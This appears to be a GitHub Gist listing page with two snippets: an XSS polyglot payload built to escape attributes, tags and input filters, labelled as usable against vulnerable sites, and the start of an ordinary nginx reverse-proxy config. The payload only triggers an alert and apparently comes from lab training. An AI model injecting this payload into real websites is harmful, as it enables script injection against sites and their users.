Skip to content

Instantly share code, notes, and snippets.

@w3ich3rt
w3ich3rt / xss.js
Last active October 26, 2021 19:15
XSS Polyglots
// An XSS polyglot to escape attributes, tags and bypass filters all in one.
// You can use the below polyglot to xss vulnerable sites.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('TEST') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
@w3ich3rt
w3ich3rt / nginx.conf
Created April 29, 2021 08:56
example for nginx reverseproxy
server {
server_name dns.domain.tld;
access_log /var/log/nginx/access.log main;
error_log /var/log/nginx/error.log warn;
gzip on;
gzip_min_length 10240;
gzip_types text/plain text/css text/xml text/javascript application/x-javascript application/xml;
gzip_disable "MSIE [1-6]\.";